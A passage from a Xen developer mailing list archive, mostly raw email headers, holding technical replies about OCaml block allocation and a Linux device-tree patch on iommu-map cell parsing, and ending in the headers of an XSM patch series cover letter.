	7NS6ETfRGj1kAFrhMq0B8lJrvHrA3gatPWWwtibsE1R3OAqjQDQUrUwfrY6y1Ac0sRUupbNkMk9YmrJ4a7ed865vp79SOF241NVvnZ/pUEHKUEMJChRklEFBh9qtoPyAKGTsXxj2th51I8wcuSv55tWPfuq+AM57bBt9aHFElPx/gaurB4s/tv1vAtNeGsxnfxOoqQUQUUC1+0GwGiCWXsF957KQd2VlfQ77V6ZLwQaQoz/MrBGdUq5v8x8S4qOqIZwNzusfpVGk+Po0d/uLwrMyprboXvpu/jXMfGf37JR6JzVp6F9POqgjyRIiZJz43Mh+7k/DAMuvICbzzqGZILBD9xCsqooQ/iG3SALuFrJI6KsTy8vBv9dFdbwdwL6IE4+AFJEGPb6uVOvQYSXzk/84iegMd1v3eEVlHdWF2pZugivtiXSybI6FOSyzlrH2cRwdmgh9kIH16vCKSzPccSz5zecfxYC4Ue88eT9eQ/5mzLa1mJFf8GJw65Vj+ighTB7dwm5EjsWYRgZ8kBXyfeYvFK2fmA9Y6IN0aXhCrJAPcq6PSjbwXr0GbkNqzHiTgYxl55lubQGm82r0EzBK1AImXR1rPAi8hmn1ZZtsqkEfTrIUJYrGRcv/bmnvAXop7eScyHyw/1Jz+7xuyxCD+bFvH0CBANczsLYefTSVAyY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(1800799024)(56012099006)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?aWIyQjRKWGJTbXQ5RzM3NEJYWnl4d2JXYUxZWklCczB3YzlmNkFCQ1k4VWVv?=
 =?utf-8?B?Y290cElQMHhkNkhlYkJ1aUJCVEx0d3dTbVhMc3IrdzB1aFNNNU1nVFZNUHFN?=
 =?utf-8?B?c2UxR2QwWTZ0KzBUcnc4Y0F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JjcG04TWRzMHQySVVuWTd5bTYyNk5LNEs5c212V256b0ZVSWhXUjB3RGQv?=
 =?utf-8?B?cmNnN1V2WUdhdVFvSnljZnU3NHcyTVpyellPcUFBRW9wUEZ4SlppSFl4Ym9q?=
 =?utf-8?B?V2N5bldWMm8rMStUOVdkTmlRYVByOFRTdzFqQkVOdmtzdGFYZUZMajV3SWZ5?=
 =?utf-8?B?aVF3VzdhN3RaeDQ5ZWk4T0ZNNHdEejRXMldtSWNaMWFKaXFGVU1sWkF6dHA2?=
 =?utf-8?B?KzNURE9oSTFWQXJVT1V2S3BuQ00vQnNMYUUvSXMyRTFLWUJaRk9RZ3dVbmEv?=
 =?utf-8?B?ck02R1l4Q3R0dkxWNm9uM24wTjIzeTN2am1KenJoamRpT1dlOFpkcnRhTG8z?=
 =?utf-8?B?WFd6eElBbkNwMlpCNlQ4dERhZ2xIODBvNmJLZ21YRGdEaTZxdm9XSENFQml4?=
 =?utf-8?B?enNqcTdRcW1CYWpHRldrN3RtK3czYTIxZXpraFpFSUx1eUJKZllWQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 72f799f5-9dbd-416b-7467-08deeca7ded6
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 12:58:07.6073
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: suKQdjNpZVk0SblOezXk08TInFHJxBRnmUB4xhNE0aTUtAY0AK9+P+7Uvu7Msk0BiheCDSr3Fqs+5a75Cd1dLM91H5qDhqsmpTUBRiYl8tA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV5PR03MB8436
X-purgate-ID: tlsNG-16d1c6/1785243489-FD00977B-FB5E03DB/0/0
X-purgate-type: clean
X-purgate-size: 634

On 27/07/2026 10:11 am, Julian Vetter wrote:
> In the function alloc_domaininfo() the arch_config field in domaininfo
> is only filled inside #if defined(__i386__) || defined(__x86_64__). On
> ARM the field is left unpopulated. caml_alloc_tuple() does not zero new
> blocks,

Hmm.Â  Yes it does.Â  caml_alloc_tuple() calls caml_alloc() which
initialises with Val_unit everywhere.

It is only caml_alloc_small() which doesn't allocate, and potentially
ends up with garbage.

Do you have details of the crash?Â  I think it ought to be a plain
NULL(ish) deference from trying to interpret Val_unit as a pointer.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:58:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:58:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373959.1620870 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohNw-00066N-Tq; Tue, 28 Jul 2026 12:58:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373959.1620870; Tue, 28 Jul 2026 12:58:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohNw-00066G-Qw; Tue, 28 Jul 2026 12:58:16 +0000
Received: by outflank-mailman (input) for mailman id 1373959;
 Tue, 28 Jul 2026 12:58:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <neil.armstrong@linaro.org>) id 1wohNv-00065Q-2z
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:58:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohNu-00EM1D-G4
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:58:14 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a68a74c-bab6-0a2a0a5309dd-0a2a450c9bac-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:58:14 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a68a766-f479-0a2a450c0019-d1558031e93d-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:58:14 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso24503605e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:58:14 -0700 (PDT)
Received: from ?IPV6:2a01:e0a:106d:1080:5788:c4e1:cf35:7211?
 ([2a01:e0a:106d:1080:5788:c4e1:cf35:7211])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4615681sm77642695e9.11.2026.07.28.05.58.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 05:58:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=linaro.org header.i="@linaro.org" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Organization:Autocrypt:Content-Language:References:Cc:To:Subject:Reply-To:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google; t=1785243494; x=1785848294; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:references:cc:to:subject:reply-to:from
         :user-agent:mime-version:date:message-id:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hC8sRjnafAE4kvTJxwUbBr2JgmCMzJbZTFX3udFXll0=;
        b=P1oJJbl2+ig7dupVa4S3qd7UJTQ0r27QK7GB7L1kCwczQnuoNUp0/vQWJyega/KiGG
         MngeIJAfcHSZv7YxEVfRZGJXoDjNanLXSVzUSYUZ41oqcEjJRTDTz6jFjOSe2vlzn9KY
         yw0wFZfW75nPrd3cNeRYlfh2+fU2lVRSjn4CHHGBd1lK71b17rl+1HgZAzZ9LdiT3sgS
         uir9s/akSWoBEy1N2Ot098vcDXTw4qoYy3vjebC/lbdJM39SLvkBmhbTmQsBNbqktasQ
         ge8o+fOcLnpmoWJAFtCeyBQ9YT6bLOzyPlJXV0j4IkhBpk4DjI7kexQS8TpLxqJF63+t
         GN1w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785243494; x=1785848294;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:references:cc:to:subject:reply-to:from
         :user-agent:mime-version:date:message-id:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=hC8sRjnafAE4kvTJxwUbBr2JgmCMzJbZTFX3udFXll0=;
        b=UP7GOLFOXrmK9/QGcHNYncIJe5fRRxv6l2UEWprLg+NMNoJACFfSZIVe7WSx6eLf4D
         sEtqLHSGgepNMoFXnVHaHBJFeFV3RMY5UsCxeVx4IqlCV1Qt4VAFk8tg1peiZPqRxLf9
         MLsDh0VnWOcKOo48L8Cex8/kHS0eySZm7zEPC4h77jSAlOn+TZ80GjewSsZT7bNuzlEv
         vYveRcIqabrI6XN3cEzWEqLeN5VmLG1rBGry5r57iNDEL1VbI1JTX6+tkLMXWZ3ZqQd2
         zb/q4JEFqbvLovFOLH+LoEftF0ZLLqrvQEDvY36ZNdPsZCrBnImpKvXkn4/ImB/5zu37
         Wu6A==
X-Forwarded-Encrypted: i=1; AHgh+RrJJpCOhHfFVChmj6aE3ZF+fAxM7XP6dwx9O474d/+HxwvWccs+q+HdCWBe0SYreGw7+slcqqKhUnw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzkJ2FDdBIRYuLgErPmvVhMuUVyPjCC8AgntzK1Lm/QPjqKr/Cb
	5GuC6aXnjGauxixKIET/lk/idu/lAHhJUbTcRkZE1kGIXsRc4qtuLF1YIqxm4ms7zlI=
X-Gm-Gg: AR+sD12KISQcpRkTtukEHEfluHbcBPcrOSSzD9ohlQ38Gui3ufIRgThpkQ3uLIT6T+r
	WgI0BUFm3DUrHvVDzewmPxmmgC+bJq2tvbNFPoDSMD3Gx8Lnpm09SfUwUUW6gcFamBhgFSVRgbF
	fOvQVMmszXcmcopcgB1wsAYgNINQiFWCGkapyhRk+WjEVYMeDCXumGIB+2ye+NotMp8eShDFD7F
	3znXDbRLL0J/VbWiVfE5/5l0W2wwIhS9+c8jUT/wbyGT0e4vEelp1jiQy1efmcEWS8eMQtf6Xof
	zj1Wj2ZQCg/UKKDdr+Ew2IaxvyZG4vJWPt/1hahudNmfIf6QIgpRF/75lGoOuFAqd9vL+TspzEy
	lzbSZ7nBL8woO5aXrCKm6+W0PQ8VHiViupDfsgXoQ3/KSr6LKRTHwY1tyqkSR4t5dSl/Wgi8ojx
	gq5dxin1XkRDwZQxaidqzCPehVUZFS68nkz9eMGiwuUYJ1YbnRHoBEExwPmTKNdzXV4OY+
X-Received: by 2002:a05:600c:3b1e:b0:493:bd2a:93bb with SMTP id 5b1f17b1804b1-496c653d055mr24700215e9.3.1785243493668;
        Tue, 28 Jul 2026 05:58:13 -0700 (PDT)
Message-ID: <df81c03b-6d2b-4c5d-8818-1aa42c146d44@linaro.org>
Date: Tue, 28 Jul 2026 14:58:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Neil Armstrong <neil.armstrong@linaro.org>
Reply-To: Neil Armstrong <neil.armstrong@linaro.org>
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Dmitry Baryshkov <dmitry.baryshkov@oss.qualcomm.com>
Cc: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>,
 Nipun Gupta <nipun.gupta@amd.com>, Nikhil Agarwal <nikhil.agarwal@amd.com>,
 Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
 Robin Murphy <robin.murphy@arm.com>,
 Lorenzo Pieralisi <lpieralisi@kernel.org>, Marc Zyngier <maz@kernel.org>,
 Thomas Gleixner <tglx@kernel.org>, Rob Herring <robh@kernel.org>,
 Saravana Kannan <saravanak@kernel.org>, Richard Zhu <hongxing.zhu@nxp.com>,
 Lucas Stach <l.stach@pengutronix.de>,
 =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
 Manivannan Sadhasivam <mani@kernel.org>, Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
 linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
 iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
 devicetree@vger.kernel.org, linux-pci@vger.kernel.org, imx@lists.linux.dev,
 xen-devel@lists.xenproject.org,
 Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
 <fuqnxdknkajqotzmmlknwnthqpku7as5kpvmgogexl5bi7x6y4@tthbasf5lqvc>
Content-Language: en-US, fr
Autocrypt: addr=neil.armstrong@linaro.org; keydata=
 xsBNBE1ZBs8BCAD78xVLsXPwV/2qQx2FaO/7mhWL0Qodw8UcQJnkrWmgTFRobtTWxuRx8WWP
 GTjuhvbleoQ5Cxjr+v+1ARGCH46MxFP5DwauzPekwJUD5QKZlaw/bURTLmS2id5wWi3lqVH4
 BVF2WzvGyyeV1o4RTCYDnZ9VLLylJ9bneEaIs/7cjCEbipGGFlfIML3sfqnIvMAxIMZrvcl9
 qPV2k+KQ7q+aXavU5W+yLNn7QtXUB530Zlk/d2ETgzQ5FLYYnUDAaRl+8JUTjc0CNOTpCeik
 80TZcE6f8M76Xa6yU8VcNko94Ck7iB4vj70q76P/J7kt98hklrr85/3NU3oti3nrIHmHABEB
 AAHNKk5laWwgQXJtc3Ryb25nIDxuZWlsLmFybXN0cm9uZ0BsaW5hcm8ub3JnPsLAkQQTAQoA
 OwIbIwULCQgHAwUVCgkICwUWAgMBAAIeAQIXgBYhBInsPQWERiF0UPIoSBaat7Gkz/iuBQJk
 Q5wSAhkBAAoJEBaat7Gkz/iuyhMIANiD94qDtUTJRfEW6GwXmtKWwl/mvqQtaTtZID2dos04
 YqBbshiJbejgVJjy+HODcNUIKBB3PSLaln4ltdsV73SBcwUNdzebfKspAQunCM22Mn6FBIxQ
 GizsMLcP/0FX4en9NaKGfK6ZdKK6kN1GR9YffMJd2P08EO8mHowmSRe/ExAODhAs9W7XXExw
 UNCY4pVJyRPpEhv373vvff60bHxc1k/FF9WaPscMt7hlkbFLUs85kHtQAmr8pV5Hy9ezsSRa
 GzJmiVclkPc2BY592IGBXRDQ38urXeM4nfhhvqA50b/nAEXc6FzqgXqDkEIwR66/Gbp0t3+r
 yQzpKRyQif3OwE0ETVkGzwEIALyKDN/OGURaHBVzwjgYq+ZtifvekdrSNl8TIDH8g1xicBYp
 QTbPn6bbSZbdvfeQPNCcD4/EhXZuhQXMcoJsQQQnO4vwVULmPGgtGf8PVc7dxKOeta+qUh6+
 SRh3vIcAUFHDT3f/Zdspz+e2E0hPV2hiSvICLk11qO6cyJE13zeNFoeY3ggrKY+IzbFomIZY
 4yG6xI99NIPEVE9lNBXBKIlewIyVlkOaYvJWSV+p5gdJXOvScNN1epm5YHmf9aE2ZjnqZGoM
 Mtsyw18YoX9BqMFInxqYQQ3j/HpVgTSvmo5ea5qQDDUaCsaTf8UeDcwYOtgI8iL4oHcsGtUX
 oUk33HEAEQEAAcLAXwQYAQIACQUCTVkGzwIbDAAKCRAWmrexpM/4rrXiB/sGbkQ6itMrAIfn
 M7IbRuiSZS1unlySUVYu3SD6YBYnNi3G5EpbwfBNuT3H8//rVvtOFK4OD8cRYkxXRQmTvqa3
 3eDIHu/zr1HMKErm+2SD6PO9umRef8V82o2oaCLvf4WeIssFjwB0b6a12opuRP7yo3E3gTCS
 KmbUuLv1CtxKQF+fUV1cVaTPMyT25Od+RC1K+iOR0F54oUJvJeq7fUzbn/KdlhA8XPGzwGRy
 4zcsPWvwnXgfe5tk680fEKZVwOZKIEuJC3v+/yZpQzDvGYJvbyix0lHnrCzq43WefRHI5XTT
 QbM0WUIBIcGmq38+OgUsMYu4NzLu7uZFAcmp6h8g
Organization: Linaro
In-Reply-To: <fuqnxdknkajqotzmmlknwnthqpku7as5kpvmgogexl5bi7x6y4@tthbasf5lqvc>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785243494-03AD4A5B-131A5FA0/0/0
X-purgate-type: clean
X-purgate-size: 2899

On 7/28/26 13:34, Dmitry Baryshkov wrote:
> On Thu, Jul 23, 2026 at 03:17:24PM +0200, Neil Armstrong wrote:
>> Hi,
>>
>> On 6/3/26 09:13, Vijayanand Jitta wrote:
>>> From: Robin Murphy <robin.murphy@arm.com>
>>>
>>> So far our parsing of {iommu,msi}-map properties has always blindly
>>> assumed that the output specifiers will always have exactly 1 cell.
>>> This typically does happen to be the case, but is not actually enforced
>>> (and the PCI msi-map binding even explicitly states support for 0 or 1
>>> cells) - as a result we've now ended up with dodgy DTs out in the field
>>> which depend on this behaviour to map a 1-cell specifier for a 2-cell
>>> provider, despite that being bogus per the bindings themselves.
>>>
>>> Since there is some potential use in being able to map at least single
>>> input IDs to multi-cell output specifiers (and properly support 0-cell
>>> outputs as well), add support for properly parsing and using the target
>>> nodes' #cells values, albeit with the unfortunate complication of still
>>> having to work around expectations of the old behaviour too.
>>>
>>> Since there are multi-cell output specifiers, the callers of of_map_id()
>>> may need to get the exact cell output value for further processing.
>>> Update of_map_id() to set args_count in the output to reflect the actual
>>> number of output specifier cells.
>>>
>>> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
>>> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
>>> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
>>> ---
>>>    drivers/of/base.c  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>>>    include/linux/of.h |   6 +-
>>>    2 files changed, 135 insertions(+), 39 deletions(-)
>>>
>>> diff --git a/drivers/of/base.c b/drivers/of/base.c
>>> index d658c2620135..ac7961cbab94 100644
>>> --- a/drivers/of/base.c
>>> +++ b/drivers/of/base.c
>>> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>>>    	return cache_level;
>>>    }
>>> +/*
>>> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
>>> + * specifying only 1 cell. Fortunately they all consist of value '1'
>>> + * as the 2nd cell entry with the same target, so check for that pattern.
>>> + *
>>> + * Example:
>>> + *	IOMMU node:
>>> + *		#iommu-cells = <2>;
>>> + *
>>> + *	Device node:
>>> + *		iommu-map = <0x0000 &smmu 0x0000 0x1>,
>>> + *			    <0x0100 &smmu 0x0100 0x1>;
>>
>> So the sm8650 PCIe controllers has:
>>
>> pcie@1c08000:
>> 			iommu-map = <0     &apps_smmu 0x1480 0x1>,
>> 				    <0x100 &apps_smmu 0x1481 0x1>;
> 
> To silence the warning, update the iommu maps to:
> 
> 			iommu-map = <0     &apps_smmu 0x1480 0x0 0x1>,
> 				    <0x100 &apps_smmu 0x1481 0x0 0x1>;
> 
> 

Will do, I was surprised none of the DT were fixed.

Thanks,
Neil


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:11:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:11:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374006.1620956 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woha7-0001Yy-RA; Tue, 28 Jul 2026 13:10:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374006.1620956; Tue, 28 Jul 2026 13:10:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woha7-0001Yr-OC; Tue, 28 Jul 2026 13:10:51 +0000
Received: by outflank-mailman (input) for mailman id 1374006;
 Tue, 28 Jul 2026 13:10:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woha6-0001Yh-He
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:10:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woha5-00BKNJ-MS
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:10:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68aa4e-2eae-0a2a0a5409dd-0a2a4504dcd0-46
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:10:49 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68aa59-b57f-0a2a45040019-d155802dc141-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:10:49 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4954aff6088so34034745e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:10:49 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a596sm57184541f8f.4.2026.07.28.06.10.48
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:10:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244249; x=1785849049; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=HoN79m4SQR8M4WJEm1cBz9XtjO+9NbAU37Xijdb/25w=;
        b=aVDLpHs4BYfVpSuZJPPp1V2qjlIPiCWQQOpsw8ZgDX8ygY59KtfdwJA75Wh42A/+oF
         I4fuqVA125s8x+N506Kmy3+XimUygjv4yPH1v4zXhHGP68ssoSOEoGTeWc4gFcbH8fMY
         sDleGo3v5Z7y1m3NUrU+WU/86hE8gWYmhQIJFascnPkL8ZcdXrM0UnMjRKRR4fwGuWjP
         lV8Z9j+x2MOMXCLKrg/TF+xgqm5khq6bYJCqwmJ3TQk0TEdmhgyri27CyG8jW+q0Gc3M
         BVHjWrit0ly0FSrU+9a7Gg4cbwgeIHzurOEe+fYYYFIHzATNG/3XTZL7lqdQAdwZLCN3
         u83Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244249; x=1785849049;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=HoN79m4SQR8M4WJEm1cBz9XtjO+9NbAU37Xijdb/25w=;
        b=W+9eHArIB3d8+1f9PVflimc8t0PaUUp/nEH50lcd5sDraPdP2chqemMRP64QJ0be8t
         dGc3ocU3t7EXR5BX56D5505v35nBGBH2IvXdruWXHrRlDaca1/V6vbmlS/lqCmsGoW2K
         GF0xacwuLZgJOko7y1X4X0Is+gxVnId+MdA3b47a4fqigiLnfwCQVM4uFqj8+T4ZvfKb
         9eU5+3Or+0Ik5D0IuMXasUBW+0T2bpYoidMb4o8tERPB/C58M0bjxhW7IG+8NbMp9W1W
         BEOJVeR0Y6N5xHCGx0gtTYD/MMUJeHqc4mJzrvCWyljHIE9LxzV4FwokQgvLwOouknm3
         Gh0g==
X-Gm-Message-State: AOJu0YxSE75mXgwhURY7IkNgQYJHMnzCHIs4SFNkxYPfoIxUKFQsUWOa
	pQzFpK0b6NwLDL6+5ZomeEP1CEIgjl6oK/Jp4nyjyv41ziviLT8xUl4vKVzVDemSqLBV6mLjQhf
	P4ve59g==
X-Gm-Gg: AR+sD13k2WkeysbgVtkNHVB1PSbXLqZzCMI2k0M/tHSUPMPUT6taGRpmHg6lYqJ9nmQ
	0qdB8bLWj4WfQv5rfyAOdT8GamNwiBBLFMzvassIH9VH+sZQIN5FbzBgdF7JcqBGcM6gufOIzgS
	JVuGCzbSCKwEKJqJh+5wHvzf4DWqUWSHzzB+l0MzlwGBUYvk3uElotLHQQk+2UqtgJ1kH5zO7Gv
	C+kUB/Ap+DFJt0u8wiaDAw6BkmwnL+wWXyy1uTMlIslagcQ7gA3V0ub2+wkGT2/s33VrW72XTu/
	eQkm5T6T4ibN77KpMvF3Y7QjDLYocSMr+dVLZG3fdaC7pen34527tKZy5T1xrtM6aQyFYhCuQFp
	DaLnmw+h7owGzgG5NEH5kZDOpn62t8payy6yW43TVAbEBE2FY2IDrW+WiVOOrW9lIw7bPiDLlgA
	H+uOaZHjPH8TbP6oHp7lO1HMECvaJN+7jGWUyb2glzAj9nn99USO/VYOFraMSmEMfvsQ==
X-Received: by 2002:a05:600c:46ca:b0:495:6338:1453 with SMTP id 5b1f17b1804b1-496c653ec08mr24507055e9.16.1785244248886;
        Tue, 28 Jul 2026 06:10:48 -0700 (PDT)
Message-ID: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Date: Tue, 28 Jul 2026 15:10:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH 00/24] XSM: follow-on to XSAs 492 and 499
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
